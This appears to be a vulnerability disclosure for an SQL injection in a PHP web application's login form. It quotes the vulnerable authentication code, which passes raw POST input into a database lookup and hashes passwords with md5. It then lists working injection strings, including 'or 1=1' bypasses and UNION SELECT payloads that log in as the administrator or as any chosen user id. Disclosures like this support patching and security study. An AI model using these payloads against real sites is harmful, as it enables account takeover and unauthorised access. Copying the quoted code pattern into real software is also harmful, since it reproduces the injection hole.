BUG FILE:
---------------

Path --> [HOME_PATH]/module/login.php

It contents:

        function authenticate()
        {

                $authentication = $this->access->authenticate($_POST['email'],$_POST['password'],(bool) $_POST['stayLogged']);
                if($authentication === true)
                {
                        header('Location: index.php?info=hasLoggedIn');
                        exit;
                }

                // we couldn't log in
                $this->errorMessages[] = $authentication;
                $this->main();

        }

Path --> [HOME_PATH]/function/class.accesscontrol.php

It contents:

public function authenticate($email,$password,$stayAuthed=false)
        {

                if($stayAuthed) $logintime = time() + (3600*24*356*3);
                else $logintime = time() + 3600;

                // attempt to get the user from the database
                include ROOTPATH . 'base/class.user.php';
                $user = new User;
                $user->email = $email;
                $user->password = md5($password);
                $user->getBy(array('email','password'));
                ...

        }

CONDITIONS:

**gpc_magic_quotes=off

--------------------------------------
PROOF OF CONCEPT (SQL INJECTION):
--------------------------------------

[HOME_PATH]/index.php?module=login

login form:

e-mail value: something' [SQL]
password value: something //it is not used

-------------
EXAMPLE:
-------------

login post form:

e-mail value: something' or 1=1 /* --> we are admin!
e-mail value: something' or 1   #  --> we are admin!

Note: Now, we need DB_PREFIX (default: "", others: db_, clan_, etc)

e-mail value: something' AND 0 UNION ALL SELECT * FROM members WHERE id=1 /*-->admin (if id=1)!
e-mail value: something' AND 0 UNION ALL SELECT * FROM members WHERE id=12 /* -->we are user id=12!
